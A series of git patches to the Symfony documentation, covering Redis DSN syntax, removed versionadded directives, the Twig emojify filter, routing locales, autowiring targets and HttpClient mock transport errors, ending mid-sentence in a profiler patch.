optional). Sockets must include a trailing ':' // a single DSN can also define multiple servers RedisAdapter::createConnection( @@ -108,16 +99,6 @@ parameter to set the name of your service group:: 'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster' ); - // providing credentials - RedisAdapter::createConnection( - 'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster' - ); - - // providing credentials and selecting database index "3" - RedisAdapter::createConnection( - 'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3' - ); - .. note:: See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options From b7fe8d48ec7fc9c6e0fb450cde2e6e329ee030ac Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 18 Jun 2024 10:32:16 +0200 Subject: [PATCH 261/615] [Cache] Revert some changes merged made in 5.x branch --- components/cache/adapters/redis_adapter.rst | 31 +++++++++++++++++---- 1 file changed, 25 insertions(+), 6 deletions(-) diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst index f5f817f65dd..6ef62473c58 100644 --- a/components/cache/adapters/redis_adapter.rst +++ b/components/cache/adapters/redis_adapter.rst @@ -59,18 +59,24 @@ helper method allows creating and configuring the Redis client class instance us 'redis://localhost' ); -The DSN can specify either an IP/host (and an optional port) or a socket path, as -well as a database index. To enable TLS for connections, the scheme ``redis`` must -be replaced by ``rediss`` (the second ``s`` means "secure"). +The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a +password and a database index. To enable TLS for connections, the scheme ``redis`` must be +replaced by ``rediss`` (the second ``s`` means "secure"). .. note:: - A `Data Source Name (DSN)`_ for this adapter must use the following format. + A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats. .. code-block:: text redis[s]://[pass@][ip|host|socket[:port]][/db-index] + .. code-block:: text + + redis[s]:[[user]:pass@]?[ip|host|socket[:port]][¶ms] + + Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[¶ms]`` are optional. + Below are common examples of valid DSNs showing a combination of available values:: use Symfony\Component\Cache\Adapter\RedisAdapter; @@ -87,8 +93,11 @@ Below are common examples of valid DSNs showing a combination of available value // socket "/var/run/redis.sock" and auth "bad-pass" RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock'); - // a single DSN can define multiple servers using the following syntax: - // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':' + // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3" + RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3'); + + // providing credentials with alternate DSN syntax + RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3'); // a single DSN can also define multiple servers RedisAdapter::createConnection( @@ -103,6 +112,16 @@ parameter to set the name of your service group:: 'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster' ); + // providing credentials + RedisAdapter::createConnection( + 'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster' + ); + + // providing credentials and selecting database index "3" + RedisAdapter::createConnection( + 'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3' + ); + .. note:: See the :class:`Symfony\\Component\\Cache\\Traits\\RedisTrait` for more options From 51a7480fe4106a17ed88e9e990f74e8c971986ef Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 18 Jun 2024 16:00:26 +0200 Subject: [PATCH 262/615] [FrameworkBundle] Remove an unneeded versionadded directive --- reference/configuration/framework.rst | 4 ---- 1 file changed, 4 deletions(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index d3ddfc3e472..8fe6c6e637b 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1236,10 +1236,6 @@ retry_failed **type**: ``array`` -.. versionadded:: 5.2 - - The ``retry_failed`` option was introduced in Symfony 5.2. - This option configures the behavior of the HTTP client when some request fails, including which types of requests to retry and how many times. The behavior is defined with the following options: From 0050ebae4c477b9f1aa30e2c86526e6827820efe Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 18 Jun 2024 16:03:27 +0200 Subject: [PATCH 263/615] [FrameworkBundle] Remove some unneeded versionadded directives --- configuration/micro_kernel_trait.rst | 4 ---- reference/configuration/framework.rst | 4 ---- 2 files changed, 8 deletions(-) diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst index 6b90a3d7ddb..b67335514a1 100644 --- a/configuration/micro_kernel_trait.rst +++ b/configuration/micro_kernel_trait.rst @@ -120,10 +120,6 @@ Next, create an ``index.php`` file that defines the kernel class and runs it: $response->send(); $kernel->terminate($request, $response); -.. versionadded:: 6.1 - - The PHP attributes notation has been introduced in Symfony 6.1. - .. note:: In addition to the ``index.php`` file, you'll need to create a directory called diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 6e93c4568b9..fec52229973 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -972,10 +972,6 @@ crypto_method The minimum version of TLS to accept. The value must be one of the ``STREAM_CRYPTO_METHOD_TLSv*_CLIENT`` constants defined by PHP. -.. versionadded:: 6.3 - - The ``crypto_method`` option was introduced in Symfony 6.3. - .. _reference-http-client-retry-delay: delay From 754f12d88b78346939015cefc360e678856e7103 Mon Sep 17 00:00:00 2001 From: Antoine M <amakdessi@me.com> Date: Tue, 18 Jun 2024 14:04:09 +0200 Subject: [PATCH 264/615] Update http_kernel.rst --- components/http_kernel.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/http_kernel.rst b/components/http_kernel.rst index 5023169e680..3a367347a8d 100644 --- a/components/http_kernel.rst +++ b/components/http_kernel.rst @@ -3,8 +3,8 @@ The HttpKernel Component The HttpKernel component provides a structured process for converting a ``Request`` into a ``Response`` by making use of the EventDispatcher - component. It's flexible enough to create a full-stack framework (Symfony), - a micro-framework (Silex) or an advanced CMS system (Drupal). + component. It's flexible enough to create a full-stack framework (Symfony) + or an advanced CMS (Drupal). Installation ------------ From e3b2563b22ef6fa313c36b7cfa5a0e5341b3358b Mon Sep 17 00:00:00 2001 From: Augustin <gus3000spam@gmail.com> Date: Thu, 20 Jun 2024 10:59:04 +0200 Subject: [PATCH 265/615] Update lock.rst incorrect assumption that $lock->getRemainingLifetime()'s unit was minutes instead of seconds --- components/lock.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/lock.rst b/components/lock.rst index 3332d24fe32..e97d66862f2 100644 --- a/components/lock.rst +++ b/components/lock.rst @@ -788,7 +788,7 @@ Using the above methods, a robust code would be:: $lock->refresh(); } - // Perform the task whose duration MUST be less than 5 minutes + // Perform the task whose duration MUST be less than 5 seconds } .. caution:: From d25c009b180ca57b0449fad9c285ceae780110e7 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 11 Apr 2024 11:53:36 +0200 Subject: [PATCH 266/615] [Emoji][Twig] Add `emojify` filter --- reference/twig_reference.rst | 31 +++++++++++++++++++++++++++++++ string.rst | 29 +++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+) diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index fcd95ce9b6e..812b56f8637 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -645,6 +645,37 @@ serialize Accepts any data that can be serialized by the :doc:`Serializer component </serializer>` and returns a serialized string in the specified ``format``. +.. _reference-twig-filter-emojify: + +emojify +~~~~~~~ + +.. versionadded:: 7.1 + + The ``emojify`` filter was introduced in Symfony 7.1. + +.. code-block:: twig + + {{ text|emojify(catalog = null) }} + +``text`` + **type**: ``string`` + +``catalog`` *(optional)* + **type**: ``string`` | ``null`` + + The emoji set used to generate the textual representation (``slack``, + ``github``, ``gitlab``, etc.) + +It transforms the textual representation of an emoji (e.g. ``:wave:``) into the +actual emoji (👋): + +.. code-block:: twig + + {{ ':+1:'|emojify }} {# renders: 👍 #} + {{ ':+1:'|emojify('github') }} {# renders: 👍 #} + {{ ':thumbsup:'|emojify('gitlab') }} {# renders: 👍 #} + .. _reference-twig-tags: Tags diff --git a/string.rst b/string.rst index 01752fff9c9..5e18cfcaea3 100644 --- a/string.rst +++ b/string.rst @@ -613,6 +613,8 @@ Convert Slack short codes to emojis with the ``slack-emoji`` locale:: $transliterator->transliterate('Menus with :green_salad: or :falafel:'); // => 'Menus with 🥗 or 🧆' +.. _string-text-emoji: + Universal Emoji Short Codes Transliteration ########################################### @@ -637,6 +639,33 @@ You can convert emojis to short codes with the ``emoji-text`` locale:: $transliterator->transliterate('Breakfast with 🥝 or 🥛'); // => 'Breakfast with :kiwifruit: or :milk-glass: +Inverse Emoji Transliteration +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 7.1 + + The inverse emoji transliteration was introduced in Symfony 7.1. + +Given the textual representation of an emoji, you can reverse it back to get the +actual emoji thanks to the :ref:`emojify filter <reference-twig-filter-emojify>`: + +.. code-block:: twig + + {{ 'I like :kiwi-fruit:'|emojify }} {# renders: I like 🥝 #} + {{ 'I like :kiwi:'|emojify }} {# renders: I like 🥝 #} + {{ 'I like :kiwifruit:'|emojify }} {# renders: I like 🥝 #} + +By default, ``emojify`` uses the :ref:`text catalog <string-text-emoji>`, which +merges the emoji text codes of all services. If you prefer, you can select a +specific catalog to use: + +.. code-block:: twig + + {{ 'I :green-heart: this'|emojify }} {# renders: I 💚 this #} + {{ ':green_salad: is nice'|emojify('slack') }} {# renders: 🥗 is nice #} + {{ 'My :turtle: has no name yet'|emojify('github') }} {# renders: My 🐢 has no name yet #} + {{ ':kiwi: is a great fruit'|emojify('gitlab') }} {# renders: 🥝 is a great fruit #} + Removing Emojis ~~~~~~~~~~~~~~~ From 7fb3276c0ac8218fc7fbfea87e8dcadb2d09d2b1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 21 Jun 2024 10:29:20 +0200 Subject: [PATCH 267/615] Minor tweak --- reference/configuration/framework.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 3f25e041737..ce1062de1c8 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1629,7 +1629,8 @@ To see a list of all available storages, run: .. versionadded:: 5.3 - The ``storage_factory_id`` option was introduced in Symfony 5.3 deprecating the ``storage_id`` option. + The ``storage_factory_id`` option was introduced in Symfony 5.3 as a replacement + of the ``storage_id`` option. .. _config-framework-session-handler-id: From 55215caf28af69924057021407aa2e333d05bb60 Mon Sep 17 00:00:00 2001 From: Nic Wortel <nic@nicwortel.nl> Date: Wed, 24 Apr 2024 17:04:10 +0200 Subject: [PATCH 268/615] [Routing] Document the effect of setting `locale` on a route with locale prefixes --- routing.rst | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/routing.rst b/routing.rst index b557763e118..45f6d9a92b4 100644 --- a/routing.rst +++ b/routing.rst @@ -2416,6 +2416,54 @@ with a locale. This can be done by defining a different prefix for each locale ; }; +.. tip:: + + If the special :ref:`_locale <routing-locale-parameter>` routing parameter + is set on any of the imported routes, that route will only be available + with the prefix for that locale. This is useful when you want to import + a collection of routes which contains a route that should only exist + in one of the locales: + + .. configuration-block:: + + .. code-block:: php-annotations + + // src/Controller/CompanyController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Annotation\Route; + + class CompanyController extends AbstractController + { + /** + * @Route("/about-us/en-only", locale="en", name="about_us") + */ + public function about(): Response + { + // ... + } + } + + .. code-block:: php-attributes + + // src/Controller/CompanyController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Annotation\Route; + + class CompanyController extends AbstractController + { + #[Route('/about-us/en-only', locale: 'en', name: 'about_us')] + public function about(): Response + { + // ... + } + } + Another common requirement is to host the website on a different domain according to the locale. This can be done by defining a different host for each locale. From e1b69a1dd3671f3e707a988bc8ec46cb4864ace9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 21 Jun 2024 16:23:26 +0200 Subject: [PATCH 269/615] Reword --- routing.rst | 52 +++++++--------------------------------------------- 1 file changed, 7 insertions(+), 45 deletions(-) diff --git a/routing.rst b/routing.rst index 45f6d9a92b4..4b4f4f9e871 100644 --- a/routing.rst +++ b/routing.rst @@ -2416,53 +2416,15 @@ with a locale. This can be done by defining a different prefix for each locale ; }; -.. tip:: - - If the special :ref:`_locale <routing-locale-parameter>` routing parameter - is set on any of the imported routes, that route will only be available - with the prefix for that locale. This is useful when you want to import - a collection of routes which contains a route that should only exist - in one of the locales: - - .. configuration-block:: - - .. code-block:: php-annotations - - // src/Controller/CompanyController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; - - class CompanyController extends AbstractController - { - /** - * @Route("/about-us/en-only", locale="en", name="about_us") - */ - public function about(): Response - { - // ... - } - } - - .. code-block:: php-attributes - - // src/Controller/CompanyController.php - namespace App\Controller; +.. note:: - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; + If a route being imported includes the special :ref:`_locale <routing-locale-parameter>` + parameter in its own definition, Symfony will only import it for that locale + and not for the other configured locale prefixes. - class CompanyController extends AbstractController - { - #[Route('/about-us/en-only', locale: 'en', name: 'about_us')] - public function about(): Response - { - // ... - } - } + E.g. if a route contains ``locale: 'en'`` in its definition and it's being + imported with ``en`` (prefix: empty) and ``nl`` (prefix: ``/nl``) locales, + that route will be available only in ``en`` locale and not in ``nl``. Another common requirement is to host the website on a different domain according to the locale. This can be done by defining a different host for each From 2d93c37b2f67cbbc6d7ea6c4fcf6ec48fcc1c0e7 Mon Sep 17 00:00:00 2001 From: Issam KHADIRI <khadiri.issam@gmail.com> Date: Mon, 4 Apr 2022 00:02:38 +0200 Subject: [PATCH 270/615] Update serializer.rst Hello I think it is not necessary to add a ClassMetadataFactory here because we are not about to use Class Metadata, Without that argument, the example works well too --- components/serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/serializer.rst b/components/serializer.rst index fb9b06e8362..0e891cc961c 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -1722,7 +1722,7 @@ context option:: } } - $normalizer = new ObjectNormalizer($classMetadataFactory); + $normalizer = new ObjectNormalizer(); $serializer = new Serializer([$normalizer]); $data = $serializer->denormalize( From 7e8f774d44b5cd0c9b15065c9afb20d7848041b0 Mon Sep 17 00:00:00 2001 From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com> Date: Sun, 21 Apr 2024 17:17:43 +0200 Subject: [PATCH 271/615] [Scheduler] show ``make:schedule`` --- scheduler.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/scheduler.rst b/scheduler.rst index 12d76eadc29..0844f2a22a8 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -26,6 +26,11 @@ install the scheduler component: $ composer require symfony/scheduler +.. tip:: + + Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule`` + to generate a basic schedule, that you can customise to create your own Scheduler. + Symfony Scheduler Basics ------------------------ @@ -973,6 +978,7 @@ helping you identify those messages when needed. Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to redispatched messages was introduced in Symfony 6.4. +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron .. _`crontab.guru website`: https://crontab.guru/ From 5b44145937384b550fbc3cb8de41212e44385d4f Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 24 Jun 2024 10:46:22 +0200 Subject: [PATCH 272/615] Minor typo --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index bb8d4b05c4e..ae621d9ece5 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -29,7 +29,7 @@ install the scheduler component: .. tip:: Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule`` - to generate a basic schedule, that you can customise to create your own Scheduler. + to generate a basic schedule, that you can customize to create your own Scheduler. Symfony Scheduler Basics ------------------------ From dd658c690e3c7128341d55553dd12550d86ee4c9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 24 Jun 2024 10:54:25 +0200 Subject: [PATCH 273/615] Minor reword --- service_container/autowiring.rst | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index 979c798c8b8..6e86ee9c6f2 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -553,16 +553,16 @@ If the argument is named ``$shoutyTransformer``, But, you can also manually wire any *other* service by specifying the argument under the arguments key. -Another possibility is to use the ``#[Target]`` attribute. By using this attribute -on the argument you want to autowire, you can define exactly which service to inject -by passing the name of the argument used in the named alias. Thanks to this, you're able -to have multiple services implementing the same interface and keep the argument name -decorrelated of any implementation name (like shown in the example above). +Another option is to use the ``#[Target]`` attribute. By adding this attribute +to the argument you want to autowire, you can specify which service to inject by +passing the name of the argument used in the named alias. This way, you can have +multiple services implementing the same interface and keep the argument name +separate from any implementation name (like shown in the example above). .. warning:: - The ``#[Target]`` attribute only accepts the name of the argument used in the named - alias, it **does not** accept service ids or service aliases. + The ``#[Target]`` attribute only accepts the name of the argument used in the + named alias; it **does not** accept service ids or service aliases. Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument:: @@ -584,8 +584,10 @@ the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` ar } } -Since the ``#[Target]`` attribute normalizes the string passed to it to its camelCased form, -name variations such as ``shouty.transformer`` also work. +.. tip:: + + Since the ``#[Target]`` attribute normalizes the string passed to it to its + camelCased form, name variations (e.g. ``shouty.transformer``) also work. .. note:: From 81cc7f0e21f6306e5a94f1022a2a1620b9c61174 Mon Sep 17 00:00:00 2001 From: HypeMC <hypemc@gmail.com> Date: Sun, 14 Apr 2024 08:54:41 +0200 Subject: [PATCH 274/615] [DependencyInjection] Clarify the `#[Target]` attribute 2 --- service_container/autowiring.rst | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index a15fb0fb0ac..c711f86ecf1 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -549,13 +549,35 @@ Another option is to use the ``#[Target]`` attribute. By adding this attribute to the argument you want to autowire, you can specify which service to inject by passing the name of the argument used in the named alias. This way, you can have multiple services implementing the same interface and keep the argument name -separate from any implementation name (like shown in the example above). +separate from any implementation name (like shown in the example above). In addition, +you'll get an exception in case you make any typo in the target name. .. warning:: The ``#[Target]`` attribute only accepts the name of the argument used in the named alias; it **does not** accept service ids or service aliases. +You can get a list of named autowiring aliases by running the ``debug:autowiring`` command:: + +.. code-block:: terminal + + $ php bin/console debug:autowiring LoggerInterface + + Autowirable Types + ================= + + The following classes & interfaces can be used as type-hints when autowiring: + (only showing classes/interfaces matching LoggerInterface) + + Describes a logger instance. + Psr\Log\LoggerInterface - alias:monolog.logger + Psr\Log\LoggerInterface $assetMapperLogger - target:asset_mapperLogger - alias:monolog.logger.asset_mapper + Psr\Log\LoggerInterface $cacheLogger - alias:monolog.logger.cache + Psr\Log\LoggerInterface $httpClientLogger - target:http_clientLogger - alias:monolog.logger.http_client + Psr\Log\LoggerInterface $mailerLogger - alias:monolog.logger.mailer + + [...] + Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument:: From feabd16bf91dbafe52d1379b2d61a45bcfffdba0 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 25 Jun 2024 17:26:55 +0200 Subject: [PATCH 275/615] [DoctrineBridge] Allow EntityValueResolver to return a list of entities --- doctrine.rst | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/doctrine.rst b/doctrine.rst index 00418319105..770a7b32a0a 100644 --- a/doctrine.rst +++ b/doctrine.rst @@ -741,6 +741,20 @@ In the expression, the ``repository`` variable will be your entity's Repository class and any route wildcards - like ``{product_id}`` are available as variables. +The repository method called in the expression can also return a list of entities. +In that case, update the type of your controller argument:: + + #[Route('/posts_by/{author_id}')] + public function authorPosts( + #[MapEntity(class: Post::class, expr: 'repository.findBy({"author": author_id}, {}, 10)')] + iterable $posts + ): Response { + } + +.. versionadded:: 7.1 + + The mapping of the lists of entities was introduced in Symfony 7.1. + This can also be used to help resolve multiple arguments:: #[Route('/product/{id}/comments/{comment_id}')] From 3a5f7795fc8c180dec84dc2de6b4a80e5c9d1163 Mon Sep 17 00:00:00 2001 From: Tac Tacelosky <tacman@gmail.com> Date: Mon, 24 Jun 2024 14:23:22 -0600 Subject: [PATCH 276/615] Update best_practices.rst, add /routes --- best_practices.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/best_practices.rst b/best_practices.rst index 02315856d00..247d52fa15d 100644 --- a/best_practices.rst +++ b/best_practices.rst @@ -51,6 +51,7 @@ self-explanatory and not coupled to Symfony: │ └─ console ├─ config/ │ ├─ packages/ + │ ├─ routes/ │ └─ services.yaml ├─ migrations/ ├─ public/ From af46f196c5ba0e156478b2cfeb4b832247e73eb6 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 26 Jun 2024 09:26:18 +0200 Subject: [PATCH 277/615] [Yaml] Minor fix when using the format option in the lint command --- components/yaml.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/yaml.rst b/components/yaml.rst index e9e16073282..5d007738d09 100644 --- a/components/yaml.rst +++ b/components/yaml.rst @@ -436,7 +436,7 @@ Add the ``--format`` option to get the output in JSON format: .. code-block:: terminal - $ php lint.php path/to/file.yaml --format json + $ php lint.php path/to/file.yaml --format=json .. tip:: From e9d242d90156f8b77bd302eaa53fbdab31cf845e Mon Sep 17 00:00:00 2001 From: valepu <valepu@libero.it> Date: Thu, 13 Jun 2024 17:32:09 +0200 Subject: [PATCH 278/615] Remove misleading warning Fixes https://github.com/symfony/symfony-docs/issues/17978 The warning I am removing was created after https://github.com/symfony/symfony-docs/issues/8259 but the issue used an incorrect regex to show a potential problem which doesn't exist. In my issue I show that it's not actually possible to inject control characters. I would still suggest for someone more involved in symfony development to investigate further, if the expression language is used in the security component this would need more than just a warning --- components/expression_language.rst | 7 ------- 1 file changed, 7 deletions(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index e90c580fe98..1ddd0fddb30 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -112,13 +112,6 @@ expressions (e.g. the request, the current user, etc.): * :doc:`Variables available in service container expressions </service_container/expression_language>`; * :ref:`Variables available in routing expressions <routing-matching-expressions>`. -.. caution:: - - When using variables in expressions, avoid passing untrusted data into the - array of variables. If you can't avoid that, sanitize non-alphanumeric - characters in untrusted data to prevent malicious users from injecting - control characters and altering the expression. - .. _expression-language-caching: Caching From dcb42cb0840170a41a563a217f3eab85271e1cd7 Mon Sep 17 00:00:00 2001 From: Jacob Dreesen <j.dreesen@neusta.de> Date: Wed, 26 Jun 2024 10:55:49 +0200 Subject: [PATCH 279/615] Fix the version in which AsDoctrineListener was added --- doctrine/events.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/doctrine/events.rst b/doctrine/events.rst index 4046191998a..dcc5d8bb6ef 100644 --- a/doctrine/events.rst +++ b/doctrine/events.rst @@ -391,9 +391,9 @@ listener in the Symfony application by creating a new service for it and ; }; -.. versionadded:: 2.7.2 +.. versionadded:: 2.8.0 - The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2. + The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.8.0. .. tip:: @@ -421,4 +421,4 @@ Instead, use any of the other alternatives shown above. .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html -.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.10.x/Attribute/AsDoctrineListener.php +.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.12.x/src/Attribute/AsDoctrineListener.php From 9256f1262a9f76d673c82cc30945c40e475202bd Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 27 Jun 2024 10:10:01 +0200 Subject: [PATCH 280/615] Update DOCtor-RST config --- .doctor-rst.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index faba4a136b4..9c5a0a552cf 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -99,6 +99,7 @@ whitelist: - 'The bin/console Command' - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection' - '.. versionadded:: 2.7.2' # Doctrine + - '.. versionadded:: 2.8.0' # Doctrine - '.. versionadded:: 1.9.0' # Encore - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst - '.. versionadded:: 1.0.0' # Encore From 6fde4e0209aff65a7f1b0ba14e048af1eedc9921 Mon Sep 17 00:00:00 2001 From: Matthias Pigulla <mp@webfactory.de> Date: Thu, 27 Jun 2024 10:15:27 +0200 Subject: [PATCH 281/615] [HttpClient] Explain how to mock `TransportExceptions` that occur before headers are received --- http_client.rst | 31 ++++++++++++++++++++++++++++--- 1 file changed, 28 insertions(+), 3 deletions(-) diff --git a/http_client.rst b/http_client.rst index 767b088effc..a0a3817ffb4 100644 --- a/http_client.rst +++ b/http_client.rst @@ -2282,7 +2282,26 @@ when making HTTP requests you might face errors at transport level. That's why it's useful to test how your application behaves in case of a transport error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows -you to do so, by yielding the exception from its body:: +you to do so in multiple ways. + +In order to test errors that occur before headers have been received, +set the ``error`` option value when creating the ``MockResponse``. +Transport errors of this kind occur, for example, when a host name +cannot be resolved or the host was unreachable. The +``TransportException`` will be thrown as soon as a method like +``getStatusCode()`` or ``getHeaders()`` is called. + +In order to test errors that occur while a response is being streamed +(that is, after the headers have already been received), provide the +exception to ``MockResponse`` as part of the ``body`` +parameter. You can either use an exception directly, or yield the +exception from a callback. For exceptions of this kind, +``getStatusCode()`` may indicate a success (200), but accessing +``getContent()`` fails. + +The following example code illustrates all three options. + +body:: // ExternalArticleServiceTest.php use PHPUnit\Framework\TestCase; @@ -2297,10 +2316,16 @@ you to do so, by yielding the exception from its body:: { $requestData = ['title' => 'Testing with Symfony HTTP Client']; $httpClient = new MockHttpClient([ - // You can create the exception directly in the body... + // Mock a transport level error at a time before + // headers have been received (e. g. host unreachable) + new MockResponse(info: ['error' => 'host unreachable']), + + // Mock a response with headers indicating + // success, but a failure while retrieving the body by + // creating the exception directly in the body... new MockResponse([new \RuntimeException('Error at transport level')]), - // ... or you can yield the exception from a callback + // ... or by yielding it from a callback. new MockResponse((static function (): \Generator { yield new TransportException('Error at transport level'); })()), From 429d7002fd39c65307df22adee144f4f33974cbe Mon Sep 17 00:00:00 2001 From: Jeremy Jumeau <jumeau.jeremy@gmail.com> Date: Thu, 27 Jun 2024 16:42:07 +0200 Subject: [PATCH 282/615] fix: notifier code example for SentMessageEvent --- notifier.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/notifier.rst b/notifier.rst index d96c6f4349a..6372662234d 100644 --- a/notifier.rst +++ b/notifier.rst @@ -892,7 +892,7 @@ is dispatched. Listeners receive a $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) { // gets the message instance - $message = $event->getOriginalMessage(); + $message = $event->getMessage(); // log something $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId())); From 714a0512e5af5cb5f59ed826f6f438ae6522b977 Mon Sep 17 00:00:00 2001 From: lkolndeep <lkolndeep@protonmail.com> Date: Thu, 27 Jun 2024 23:09:07 +0200 Subject: [PATCH 283/615] Improve the documentation with a link for the profile service declaration --- profiler.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/profiler.rst b/profiler.rst index 133296e9203..eb4ee5d8a0e 100644 --- a/profiler.rst +++ b/profiler.rst @@ -49,6 +49,10 @@ method to access to its associated profile:: // ... $profiler is the 'profiler' service $profile = $profiler->loadProfileFromResponse($response); +.. note:: + + To declare the profiler service you can refer to :ref:`Enabling the Profiler Conditionally <enabling_the_profiler_conditionally_tag>`. + When the profiler stores data about a request, it also associates a token with it; this token is available in the ``X-Debug-Token`` HTTP header of 